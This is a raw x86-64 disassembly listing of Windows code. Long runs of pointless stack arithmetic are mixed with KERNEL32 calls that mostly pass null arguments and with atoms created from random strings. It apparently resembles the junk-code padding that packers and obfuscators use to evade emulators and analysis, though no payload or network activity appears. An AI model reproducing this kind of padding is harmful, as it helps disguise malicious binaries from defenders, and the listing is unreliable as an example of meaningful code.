mov rcx, qword [rsp + 0xce38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2108], ax
mov rax, qword [rsp + 0xc878]
mov rcx, qword [rsp + 0x9db0]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c7160], rax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
mov word [rsp + 0x2410], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, str.DMh12g8_EbJxWMb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x23b8], ax
mov rax, qword [rsp + 0xcf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3c8]
mov qword [rsp + 0xd830], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd830]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb7b8]
mov rcx, qword [rsp + 0xa048]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb300], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd838], rax
mov rax, qword [rsp + 0xcce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xd840], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd840]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0xce18]
movzx eax, byte [rax]
mov byte [rsp + 0x3d6], al
mov rax, qword [rsp + 0xc848]
mov rcx, qword [rsp + 0xd750]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6584], eax
mov rax, qword [rsp + 0xd7f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28f]
cdq
idiv ecx
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0xc5d8]
mov rcx, qword [rsp + 0xcd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x595c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6794], eax
movzx ecx, word [rsp + 0x21a4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f5c], ax
movzx eax, word [rsp + 0x9ac]
mov word [0x1401c8d10], ax
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda0]
sub eax, ecx
mov word [rsp + 0x20dc], ax
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov word [rsp + 0x2414], ax
xor r9d, r9d
lea r8, [rsp + 0xd420]
mov rdx, qword [rsp + 0xcb80]
mov rcx, qword [rsp + 0xd7f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67c4], eax
mov rax, qword [rsp + 0xce68]
movzx eax, word [rax]
movzx ecx, word [0x1401c8c80]
shl eax, cl
mov word [rsp + 0x1404], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x56f4]
mov rcx, qword [rsp + 0xc8c0]
mov qword [rsp + 0xd848], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd848]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x66e0], eax
mov rax, qword [rsp + 0xc950]
mov qword [rsp + 0xd850], rax
movsx eax, byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov rcx, qword [rsp + 0xd170]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb2], al
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x207c]
sub eax, ecx
mov word [rsp + 0x1d58], ax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fd8]
add eax, ecx
mov word [rsp + 0x2124], ax
movzx ecx, word [rsp + 0x20e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2358], ax
mov rax, qword [rsp + 0xd2b8]
mov rcx, qword [rsp + 0xca00]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c8b00], rax
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc868]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa8e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x20b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2268], ax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov qword [rsp + 0xd858], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd860], rax
lea rcx, [rsp + 0x203f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcc58]
mov rcx, qword [rsp + 0xc3e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa620], rax
lea rax, [rsp + 0x2050]
mov qword [rsp + 0xd868], rax
mov rax, qword [rsp + 0xd008]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd500]
mov byte [rcx], al
mov rax, qword [rsp + 0xcd70]
mov ecx, dword [rsp + 0x5738]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x650c], eax
lea rax, [rsp + 0x66e0]
mov qword [rsp + 0xd870], rax
mov rcx, qword [rsp + 0xc370]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65f4], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc0d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb490], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x3d3]
movsx ecx, byte [rsp + 0x3cc]
xor eax, ecx
mov byte [0x1401c700f], al
movsx eax, word [rsp + 0x17bc]
mov rcx, qword [0x1401c8b80]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1578], ax
movsx eax, word [rsp + 0x22fc]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x904], ax
lea rcx, [rsp + 0x20398]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x2414]
mov word [rsp + 0x2418], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x67c0], eax
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd0d0]
sar rax, cl
mov qword [rsp + 0x9640], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xc3a8]
mov rcx, qword [rsp + 0xd498]
mov qword [rsp + 0xd878], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd878]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xca68], rax
mov r9d, 1
lea r8, [rsp + 0xc600]
mov rdx, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67c8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6458], eax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0xd880], rax
mov rax, qword [rsp + 0xd190]
mov rcx, qword [0x1401c8a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc430]
mov dword [rcx], eax
mov rcx, qword [rsp + 0xc038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0x12c8]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa68], ax
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22f0]
sub eax, ecx
mov word [0x1401c8c48], ax
mov rax, qword [rsp + 0xd3f0]
mov rcx, qword [rsp + 0xbb60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf20], rax
movzx eax, word [rsp + 0x20a8]
mov rcx, qword [rsp + 0xc9a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcef8]
mov word [rcx], ax
movzx eax, byte [0x1401c8a16]
mov byte [rsp + 0x3d7], al
mov rax, qword [rsp + 0xce00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6740]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6560], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6750], eax
mov eax, dword [rsp + 0x5650]
mov dword [rsp + 0x67cc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.fMETQbx1y16VE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd888], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6444], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd7a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce70], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x67bc], eax
mov rax, qword [rsp + 0xd608]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x385]
and eax, ecx
mov rcx, qword [rsp + 0xd100]
mov byte [rcx], al
lea rcx, [rsp + 0x1fee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14e8], ax
movzx eax, word [rsp + 0x13ec]
movzx ecx, word [rsp + 0x1c98]
shl eax, cl
mov word [0x1401c8c30], ax
mov rax, qword [rsp + 0x9868]
movzx ecx, al
mov rax, qword [rsp + 0xaeb0]
sar rax, cl
mov qword [rsp + 0xc1d8], rax
mov rax, qword [0x1401c8c58]
mov rax, qword [rax]
mov qword [rsp + 0xd890], rax
mov rax, qword [rsp + 0xcd08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xbbc], ax
lea rcx, str.TjZEyID
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x241c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x653c], eax
mov edx, 0xac6
mov rcx, qword [rsp + 0xd0b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66d0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rax, [rsp + 0x22a4]
mov qword [rsp + 0xd898], rax
lea rcx, [rsp + 0x20428]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x6254]
mov ecx, dword [rsp + 0x66b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5be8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0xd880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3a5]
sub eax, ecx
mov rcx, qword [rsp + 0xd590]
mov byte [rcx], al
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
imul rax, qword [rsp + 0xc1a0]
mov qword [rsp + 0xb850], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcbe8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xd488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca00]
mov qword [rsp + 0xd8a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8a0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xcf68]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2060]
mov word [0x1401c8d14], ax
movzx eax, word [rsp + 0x2418]
mov word [rsp + 0x2420], ax
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3aa], al
mov r9d, 1
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x67d0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x64e0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [rsp + 0x5d78]
mov rcx, qword [rsp + 0xcb48]
mov qword [rsp + 0xd8a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5a0c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x67d4], eax
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6688], eax
mov rax, qword [rsp + 0x9bd8]
mov qword [rsp + 0xd8b0], rax
movsx eax, byte [rsp + 0x38e]
imul eax, eax, 0x4c
mov byte [rsp + 0x3cf], al
lea rax, [rsp + 0xc830]
mov qword [rsp + 0xd8b8], rax
mov rax, qword [rsp + 0xd870]
mov ecx, dword [rsp + 0x6598]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x595c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [0x1401c8cb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd060]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x23b0], ax
lea rcx, [rsp + 0x20458]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xcfb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd868]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1401c8d08]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xcdb0]
mov rcx, qword [rsp + 0xa620]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xab38], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64b8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2350]
or eax, ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0xd0f0]
movzx eax, word [rax]
mov word [rsp + 0x2424], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x628c], eax
mov rax, qword [0x1401c8c50]
mov rcx, qword [rsp + 0xcc38]
mov qword [rsp + 0xd8c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd410], rax
mov rax, qword [rsp + 0xc610]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcce8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0xd7a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd510]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9518], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 1
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xc5c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x657c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0xd6e8]
mov eax, dword [rax]
mov ecx, dword [0x1401c8ab0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6448], eax
lea rax, [rsp + 0x2044]
mov qword [rsp + 0xd8d0], rax
mov rax, qword [rsp + 0xd690]
mov rax, qword [rax]
mov qword [0x1401c8d18], rax
movzx eax, byte [0x1401c8a16]
movzx ecx, byte [rsp + 0x30b]
sub eax, ecx
mov byte [rsp + 0x3c5], al
mov eax, dword [rsp + 0x6498]
mov dword [rsp + 0x67d8], eax
mov rax, qword [rsp + 0xd0b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x23e0]
sar eax, cl
mov word [rsp + 0x1b04], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6434], eax
movzx eax, word [rsp + 0x9cc]
mov rcx, qword [rsp + 0xcbd0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x19ac], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x5db4]
mov dword [rsp + 0x67dc], eax
lea rcx, [rsp + 0x203c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xc5a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xce58]
mov qword [rcx], rax
lea rax, [rsp + 0x3b9]
mov qword [rsp + 0xd8d8], rax
movsx eax, word [rsp + 0x2060]
mov rcx, qword [rsp + 0xd630]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x235c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, word [rsp + 0x13ec]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401c8b90]
mov word [rcx], ax
mov rcx, qword [rsp + 0xcf40]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67e0], eax
mov r9d, 2
lea r8, [rsp + 0xc600]
mov rdx, qword [rsp + 0xcb80]
mov rcx, qword [rsp + 0xd280]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x637c], eax
lea rcx, [rsp + 0x20368]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd8e0], rax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
imul rax, qword [rsp + 0xd410]
mov qword [rsp + 0xc8b8], rax
mov r9d, reloc.SHELL32.dll_SHGetImageList
xor r8d, r8d
lea rdx, [rsp + 0xd348]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x675c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [rsp + 0xd268]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9c98], rax
lea rcx, str.O4mjbxx_Vc86s6ncJw4
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2428], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xaeb8]
mov rcx, qword [rsp + 0xd2e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd3a8], rax
mov edx, 0x23a9
mov rcx, qword [rsp + 0xd3f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x652c], eax
lea rax, [rsp + 0x2238]
mov qword [rsp + 0xd8e8], rax
movzx ecx, word [rsp + 0x2160]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x242c], ax
mov rax, qword [rsp + 0xd228]
mov rcx, qword [rsp + 0xc910]
mov qword [rsp + 0xd8f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8f0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd0a8], rax
mov eax, dword [rsp + 0x64c0]
mov ecx, dword [rsp + 0x66a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6544], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx eax, byte [rsp + 0x3c8]
mov byte [rsp + 0x3d8], al
mov rax, qword [rsp + 0xd148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd7f0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xab], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [0x1401c8a1c]
mov qword [rsp + 0xd8f8], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xce88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x20dc]
sub eax, ecx
mov word [0x1401c7168], ax
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
movzx eax, word [rsp + 0x2310]
mov rcx, qword [rsp + 0xd508]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1fac], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd900], rax
mov rax, qword [rsp + 0xc680]
mov rcx, qword [rsp + 0xb1e8]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xa4a8], rax
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6594], eax
movsx eax, byte [0x1401c8a12]
mov rcx, qword [rsp + 0xc8f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3d8], al
mov eax, dword [rsp + 0x644c]
mov dword [rsp + 0x67e4], eax
mov rax, qword [rsp + 0xd128]
mov rcx, qword [rsp + 0xce70]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd128]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x18a8], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd018]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x114c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
mov rax, qword [0x1401c70d8]
mov rcx, qword [rsp + 0xc960]
add rcx, rax
mov rax, rcx
mov qword [0x1401c7160], rax
movzx eax, word [rsp + 0x1244]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20fc], ax
mov rax, qword [rsp + 0xa198]
mov qword [rsp + 0xd910], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xd690]
mov rcx, qword [rsp + 0xd648]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xccb0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0xcb58]
mov rax, qword [rax]
mov qword [rsp + 0xd918], rax
mov rax, qword [rsp + 0xcea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x192], al
mov rax, qword [rsp + 0xcc60]
mov ecx, dword [rsp + 0x6498]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5a00], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6590], eax
movzx ecx, word [rsp + 0x1fc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2430], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x36b]
imul eax, ecx
mov byte [rsp + 0x334], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov eax, dword [rsp + 0x66c0]
mov rcx, qword [rsp + 0xd7c8]
mov qword [rsp + 0xd920], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd920]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x62f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x658c], eax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc408]
movzx eax, word [rax]
mov word [0x1401c8d20], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xd928], rax
mov rax, qword [rsp + 0xc9e8]
movzx eax, word [rax]
mov word [rsp + 0x2434], ax
mov rax, qword [rsp + 0xd760]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fe0]
shl eax, cl
mov word [rsp + 0x2178], ax
mov r9d, 1
lea r8, [rsp + 0xd770]
mov rdx, qword [rsp + 0xd420]
mov rcx, qword [rsp + 0xd1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64a8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcbe8], rax
mov rax, qword [rsp + 0xd018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13ec]
or eax, ecx
mov word [rsp + 0x2288], ax
mov rax, qword [rsp + 0xcac8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd1f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x309], al
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x673c], eax
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov qword [rsp + 0xd930], rax
mov rax, qword [rsp + 0xd8e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2150]
add eax, ecx
mov word [rsp + 0x19d0], ax
movzx eax, word [rsp + 0x1718]
mov word [rsp + 0x2438], ax
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xb9c8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7170], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xd218]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x660c], eax
mov rcx, qword [rsp + 0xd820]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67e8], eax
mov rax, qword [rsp + 0xd400]
mov rcx, qword [rsp + 0xc6e0]
imul rcx, qword [rax]
mov rax, rcx
